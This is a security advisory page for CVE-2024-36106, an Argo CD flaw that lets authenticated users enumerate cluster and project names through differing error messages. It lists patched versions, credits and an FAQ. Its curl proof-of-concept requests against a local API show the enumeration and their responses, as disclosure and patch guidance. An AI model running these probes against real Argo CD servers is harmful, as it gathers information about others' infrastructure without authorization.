CVE-2024-36106: Argo CD allows authenticated users to enumerate clusters by name

Published Jun 6, 2024
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Updated

Impact It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:

$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎ $ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati on: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"}

It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters. curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}

curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"}

Patches A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.3 v2.10.12 v2.9.17

For more information If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

Other sources

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. It’s possible for authenticated users to enumerate clusters by name by inspecting error messages. It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters. This vulnerability is fixed in 2.11.3, 2.10.12, and 2.9.17.

NVD

Affected Software

6 affected componentsFixes available
go/github.com/argoproj/argo-cd>=2.11.0<2.11.3
2.11.3
go/github.com/argoproj/argo-cd>=2.10.0<2.10.12
2.10.12
go/github.com/argoproj/argo-cd>=0.11.0<2.9.17
2.9.17
argoproj Argo CD>0.11.0<2.9.17
argoproj Argo CD>=2.10.0<2.10.12
argoproj Argo CD>=2.11.0<2.11.3

Event History

Jun 6, 2024
CVE Published
via MITRE·03:09 PM
Data Sourced
via MITRE·03:09 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:04 PM

Frequently Asked Questions

1

What is the severity of CVE-2024-36106?

CVE-2024-36106 is considered a high-severity vulnerability due to the potential for authenticated users to enumerate cluster names.

2

How do I fix CVE-2024-36106?

To mitigate CVE-2024-36106, update to Argo CD version 2.11.3, 2.10.12, or 2.9.17.

3

Who is affected by CVE-2024-36106?

CVE-2024-36106 affects Argo CD versions prior to 2.11.3, 2.10.12, and 2.9.17.

4

What is the impact of CVE-2024-36106?

The impact of CVE-2024-36106 allows authenticated users to exploit error messages to enumerate cluster names.

5

What type of vulnerability is CVE-2024-36106?

CVE-2024-36106 is a classification of improper authorization that can lead to information disclosure.

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